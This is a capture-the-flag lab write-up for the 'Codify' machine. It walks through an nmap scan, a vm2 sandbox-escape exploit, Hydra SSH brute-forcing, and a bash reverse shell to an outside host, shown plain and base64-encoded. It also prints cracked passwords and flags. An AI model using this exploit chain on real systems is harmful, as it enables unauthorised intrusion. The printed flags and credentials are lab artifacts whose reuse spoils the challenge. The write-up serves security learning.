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# Codify
## Initial Scan
```nmap
sudo nmap -T4 -v 10.129.82.199
sudo nmap -T4 -Pn -p 22,80,3000 -sV -sC -v 10.129.82.199 -oA Codify
```
## HTTP
Had to edit the host file to get the Webpage
Checking out their About Us page
Looking around for VM2 CVE's, found [this article on snyk](https://security.snyk.io/vuln/SNYK-JS-VM2-5537100) about RCE with VM2 after seeing a couple others. Testing the other PoC's I didn't get anywhere until I found this one. We can run commands on the host bypassing the VM.
```javascript
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("ls -al").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
```
whoami shows us the `svc` user. Also looking at `/etc/passwd` we see an additional user, `joshua`
### BruteForce
Trying to run Hydra against the user joshua for a password
```bash
hydra -l joshua -P /usr/share/wordlists/rockyou.txt -V ssh://10.129.82.199
```
`joshua:spongebob1`
### Obtaining shell
Working to get a shall as svc. Looking around for reverse shell, I found [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp).
```bash
bash -i >& /dev/tcp/10.10.14.53/1234 0>&1
```
Running it normally didn't work so I encoded it
```
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41My8xMjM0IDA+JjE=' | base64 -d | bash"
```
Full command
```bash
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41My8xMjM0IDA+JjE=' | base64 -d | bash").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hacked
```
## Foothold
We have shell as svc
Seeing what permissions we have
## User Flag
After getting into shell from the SVC user, I got Joshuas password with hydra.
User flag: `c53cdd4688463871ba3f4020ab6f3ccb`
## Priv Esc
We have run the note of "User joshua may run the following commands on codify: (root) /opt/scripts/mysql-backup.sh" So looking at the shell file
Running that as root as get
Get [PSPY](https://github.com/DominicBreuker/pspy) Initiate another SSH session. Get pspy64 onto the target machine, run it, then run the `/opt/scripts/mysql-backup.sh` script
Root pass: `kljh12k3jhaskjh12kjh3`
Root flag: `4e43f866588b3b3433196af3cef8b768`